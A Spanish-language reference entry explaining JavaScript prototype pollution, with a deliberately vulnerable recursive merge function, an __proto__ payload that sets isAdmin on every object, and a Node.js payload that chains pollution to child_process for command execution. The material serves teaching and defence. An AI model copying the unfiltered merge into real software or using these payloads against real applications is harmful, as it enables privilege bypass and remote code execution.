Prototype Pollution
AltoPrototype Pollution
Definición
Prototype Pollution es una vulnerabilidad específica de JavaScript que permite a un atacante modificar el prototipo de objetos base (Object.prototype). Al inyectar propiedades en el prototipo, todos los objetos de la aplicación heredan estas propiedades, lo que puede llevar a XSS, bypass de seguridad o ejecución remota de código.
Impacto
Ejemplos
Prototype Pollution vía merge de objetos
La función merge recursiva no filtra la clave __proto__. Cuando el atacante envía un JSON con __proto__, la propiedad se asigna al prototipo de Object, afectando a todos los objetos de la aplicación.
// Función de merge vulnerable
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Payload del atacante
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);
// Ahora TODOS los objetos tienen isAdmin: true
const user = {};
console.log(user.isAdmin); // truePrototype Pollution a RCE en Node.js
En aplicaciones Node.js, la Prototype Pollution puede encadenarse con funciones de child_process para lograr ejecución remota de código, ya que estas funciones leen opciones como 'shell' del prototipo si no se especifican explícitamente.
// Si la aplicación usa child_process.spawn/fork:
const payload = {
"__proto__": {
"shell": "/proc/self/exe",
"argv0": "console.log(require('child_process').execSync('id').toString())//"
}
};
// Al contaminar el prototipo, cuando se ejecuta spawn sin opciones explícitas,
// hereda shell y argv0 del prototipo, ejecutando código arbitrario.